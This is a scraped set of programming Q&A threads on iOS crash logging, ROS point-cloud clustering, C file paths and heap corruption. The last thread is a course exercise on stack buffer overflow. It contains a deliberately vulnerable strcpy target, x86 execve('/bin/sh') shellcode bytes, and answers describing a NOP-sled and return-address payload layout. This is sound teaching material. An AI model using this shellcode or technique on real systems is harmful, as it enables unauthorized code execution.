How can I get load address of an iOS app? - ios

I would like to offer the option in my app to send stack trace of catched NSException by email. However, addresses are relocated so I would need the loaded base address for the trace to be meaningful.
Is there a way to get this? The closest I did get is taking the pointer of a known function, which is something (I can calculate base address from it, after all), but is there a more straightforward way?

What I have done in the past is log the mach header addresses within the log file, that the (server-based) symbolication tool can then use. The log file contained both log messages and the crash log.
// Dump the load addresses of AppName and libXxx.dylib to help tools/process_bug_reports.py
uint32_t numImages = _dyld_image_count();
for (uint32_t i = 0; i < numImages; i++) {
const struct mach_header *header = _dyld_get_image_header(i);
const char *name = _dyld_get_image_name(i);
const char *p = strrchr(name, '/');
if (p && (strcmp(p + 1, "AppName") == 0 || strcmp(p + 1, "libXxx.dylib") == 0)) {
loginf(#"module=%s, address=%p", p + 1, header);
}
}

Related

How to send cluster in separated node ros pcl

Hi i'm new in pointcloud library. I'm trying to show clustering result point on rviz or pcl viewer, and then show nothing. And i realize that my data show nothing too when i subcsribe and cout that. Hopefully can help my problem, thanks
This is my code for clustering and send node
void cloudReceive(const sensor_msgs::PointCloud2ConstPtr& inputMsg){
mutex_lock.lock();
pcl::fromROSMsg(*inputMsg, *inputCloud);
cout<<inputCloud<<endl;
pcl::search::KdTree<pcl::PointXYZRGB>::Ptr tree (new pcl::search::KdTree<pcl::PointXYZRGB>);
tree->setInputCloud(inputCloud);
std::vector<pcl::PointIndices> cluster_indices;
pcl::EuclideanClusterExtraction<pcl::PointXYZRGB> ec;
ec.setClusterTolerance(0.03);//2cm
ec.setMinClusterSize(200);//min points
ec.setMaxClusterSize(1000);//max points
ec.setSearchMethod(tree);
ec.setInputCloud(inputCloud);
ec.extract(cluster_indices);
if(cluster_indices.size() > 0){
std::vector<pcl::PointIndices>::const_iterator it;
int i = 0;
for (it = cluster_indices.begin(); it != cluster_indices.end(); ++it){
if(i >= 10)
break;
cloud_cluster[i]->points.clear();
std::vector<int>::const_iterator idx_it;
for (idx_it = it->indices.begin(); idx_it != it->indices.end(); idx_it++)
cloud_cluster[i]->points.push_back(inputCloud->points[*idx_it]);
cloud_cluster[i]->width = cloud_cluster[i]->points.size();
// cloud_cluster[i]->height = 1;
// cloud_cluster[i]->is_dense = true;
cout<<"PointCloud representing the Cluster: " << cloud_cluster[i]->points.size() << " data points"<<endl;
std::stringstream ss;
ss<<"cobaa_pipecom2_cluster_"<< i << ".pcd";
writer.write<pcl::PointXYZRGB> (ss.str(), *cloud_cluster[i], false);
pcl::toROSMsg(*cloud_cluster[i], outputMsg);
// cout<<"data = "<< outputMsg <<endl;
cloud_cluster[i]->header.frame_id = FRAME_ID;
pclpub[i++].publish(outputMsg);
// i++;
}
}
else
ROS_INFO_STREAM("0 clusters extracted\n");
}
And this one is the main
int main(int argc, char** argv){
for (int z = 0; z < 10; z++) {
// std::cout << " - clustering/" << z << std::endl;
cloud_cluster[z] = pcl::PointCloud<pcl::PointXYZRGB>::Ptr(new pcl::PointCloud<pcl::PointXYZRGB>);
cloud_cluster[z]->height = 1;
cloud_cluster[z]->is_dense = true;
// cloud_cluster[z]->header.frame_id = FRAME_ID;
}
ros::init(argc,argv,"clustering");
ros::NodeHandlePtr nh(new ros::NodeHandle());
pclsub = nh->subscribe("/pclsegmen",1,cloudReceive);
std::string pub_str("clustering/0");
for (int z = 0; z < 10; z++) {
pub_str[11] = z + 48;//48=0(ASCII)
// z++;
pclpub[z] = nh->advertise <sensor_msgs::PointCloud2> (pub_str, 1);
}
// pclpub = nh->advertise<sensor_msgs::PointCloud2>("/pclcluster",1);
ros::spin();
}
This isn't an exact answer, but I think it addresses your issue & may ease your debugging.
RViz can directly subscribe to a published point cloud, the one I'm assuming you're trying to see in the cloud_receive callback. If you set the Frame to whichever frame it's being published at, and add it from the available topics, you should see the points. (Easier than trying to rebroadcast it as different topics).
Also, I recommend looking at the rostopic command line tool. You can do rostopic list to check if it's being published, rostopic bw to see if it's really publishing the expected volume of data (ex bytes vs kilobytes vs megabytes), rostopic hz to see how frequently (if ever) it's publishing, and (briefly) rostopic echo to look at the data itself. (This is me assuming from your question it's more an issue with the data coming into your node).
If you're having trouble, not with data coming into the node, nor with the visualization of pointcloud data in general, but with the transformed data that's supposed to come out of the node, I would check that the clustering worked, & reduce your code moreso to just having 1 publisher publish something. You may be doing something weird. Like messing up your pointers. You could also turn on stronger compilation warnings for your node with -Wall -Wextra -Werror or step through the execution of it via gdb (launch-prefix="xterm -e gdb --args").
The solution is, i change the ASCII number into lexical_cast. Thanks for your response, i hope this can help other
for (int z = 0; z < CLOUD_QTD; z++) {
// pub_str[11] = z + 48;
std::string topicName = "/pclcluster/" + boost::lexical_cast<std::string>(z);
global::pub[z] = n.advertise <sensor_msgs::PointCloud2> (topicName, 1);
}

Ask user for path for fopen in C?

This is my function. It's working absolutely fine; I just can't get one more thing working.
Instead of the static fopen paths, I need the user to write the path for the files. I tried several things but I can't get it working. Please help
int FileToFile() {
FILE *fp;
FILE *fp_write;
char line[128];
int max=0;
int countFor=0;
int countWhile=0;
int countDo = 0;
fp = fopen("d:\\text.txt", "r+");
fp_write = fopen("d:\\results.txt", "w+");
if (!fp) {
perror("Greshka");
}
else {
while (fgets(line, sizeof line, fp) != NULL) {
countFor = 0;
countWhile = 0;
countDo = 0;
fputs(line, stdout);
if (line[strlen(line)-1] = "\n") if (max < (strlen(line) -1)) max = strlen(line) -1;
else if (max < strlen(line)) max = strlen(line);
char *tmp = line;
while (tmp = strstr(tmp, "for")){
countFor++;
tmp++;
}
tmp = line;
while (tmp = strstr(tmp, "while")){
countWhile++;
tmp++;
}
tmp = line;
while (tmp = strstr(tmp, "do")){
countDo++;
tmp++;
}
fprintf(fp_write, "Na tozi red operatora for go ima: %d pyti\n", countFor);
fprintf(fp_write, "Na tozi red operatora for/while go ima: %d pyti\n", countWhile - countDo);
fprintf(fp_write, "Na tozi red operatora do go ima: %d pyti\n", countDo);
}
fprintf(fp_write, "Maximalen broi simvoli e:%d\n", max);
fclose(fp_write);
fclose(fp);
}
}
Have a look at argc and argv. They are used for command-line arguments passed to a program. This requires that your main function be revised as follows:
int main(int argc, char *argv[])
The argc is an integer that represents the number of command-like arguments, and argv is an array of char* that contain the arguments themselves. Note that for both, the program name itself counts as an argument.
So if you invoke your program like this:
myprog c:\temp
Then argc will be 2, argv[0] will be myprog, and argv[1] will be c:\temp. Now you can just pass the strings to your function. If you pass more arguments, they will be argv[2], etc.
Keep in mind if your path contains spaces, you must enclose it in double quotes for it to be considered one argument, because space is used as a delimiter:
myprog "c:\path with spaces"

Bad Access/Pointer Issue in Objective-C

I've got the following bit of code:
Byte * tokenOut = NULL;
for (int i = 0; i < sizeof(Tknout); i++)
{
tokenOut[i * 2] = (Tknout[i] >> 8);
tokenOut[(i * 2) + 1] = (Tknout[i] & 0xFF);
}
But it generates an EXC_BAD_ACCESS error upon running when I try to update tokenOut. I'd appreciate if somebody could tell me what I'm doing wrong!
Thanks!
You are dereferencing a NULL pointer.
Try
Byte whatever;
Byte *outToken = &whatever;
// Do the rest.
Now there is valid memory for you to write to.
Except you will still have issues because you will write past the end of your variable. So maybe you wanted an array?
sizeof(outTkn) will return 1 (1 byte)

Heap corruption detected - iPhone 5S only

I am developing an app that listens for frequency/pitches, it works fine on iPhone4s, simulator and others but not iPhone 5S. This is the message I am getting:
malloc: *** error for object 0x178203a00: Heap corruption detected, free list canary is damaged
Any suggestion where should I start to dig into?
Thanks!
The iPhone 5s has an arm64/64-bit CPU. Check all the analyze compiler warnings for trying to store 64-bit pointers (and other values) into 32-bit C data types.
Also make sure all your audio code parameter passing, object messaging, and manual memory management code is thread safe, and meets all real-time requirements.
In case it helps anyone, I had exactly the same problem as described above.
The cause in my particular case was pthread_create(pthread_t* thread, ...) on ARM64 was putting the value into *thread at some time AFTER the thread was started. On OSX, ARM32 and on the simulator, it was consistently filling in this value before the start_routine was called.
If I performed a pthread_detach operation in the running thread before that value was written (even by using pthread_self() to get the current thread_t), I would end up with the heap corruption message.
I added a small loop in my thread dispatcher that waited until that value was filled in -- after which the heap errors went away. Don't forget 'volatile'!
Restructuring the code might be a better way to fix this -- it depends on your situation. (I noticed this in a unit test that I'd written, I didn't trip up on this issue on any 'real' code)
Same problem. but my case is I malloc 10Byte memory, but I try to use 20Byte. then it Heap corruption.
## -64,7 +64,7 ## char* bytesToHex(char* buf, int size) {
* be converted to two hex characters, also add an extra space for the terminating
* null byte.
* [size] is the size of the buf array */
- int len = (size * 2) + 1;
+ int len = (size * 3) + 1;
char* output = (char*)malloc(len * sizeof(char));
memset(output, 0, len);
/* pointer to the first item (0 index) of the output array */
char *ptr = &output[0];
int i;
for (i = 0; i < size; i++) {
/* "sprintf" converts each byte in the "buf" array into a 2 hex string
* characters appended with a null byte, for example 10 => "0A\0".
*
* This string would then be added to the output array starting from the
* position pointed at by "ptr". For example if "ptr" is pointing at the 0
* index then "0A\0" would be written as output[0] = '0', output[1] = 'A' and
* output[2] = '\0'.
*
* "sprintf" returns the number of chars in its output excluding the null
* byte, in our case this would be 2. So we move the "ptr" location two
* steps ahead so that the next hex string would be written at the new
* location, overriding the null byte from the previous hex string.
*
* We don't need to add a terminating null byte because it's been already
* added for us from the last hex string. */
ptr += sprintf(ptr, "%02X ", buf[i] & 0xFF);
}
return output;

Intentional buffer overflow exploit program

I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.
I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?
Thanks very much for any help.
Well, so you want the program to execute your shellcode. It's already in machine form, so it's ready to be executed by the system. You've stored it in a buffer. So, the question would be "How does the system know to execute my code?" More precisely, "How does the system know where to look for the next code to be executed?" The answer in this case is the return address you're talking about.
Basically, you're on the right track. Have you tried executing the code? One thing I've noticed when performing this type of exploit is that it's not an exact science. Sometimes, there are other things in memory that you don't expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.
I'm not a specialist in security, but I can tell you a few things that might help. One is that I usually include a 'NOP Sled' - essentially just a series of 0x90 bytes that don't do anything other than execute 'NOP' instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you'll have a successful return to where you want.
So, your buffer will look like this:
| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |
(Note: These aren't my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you're interested in learning more about this).
To calculate the address, you can use something similar to the following:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.

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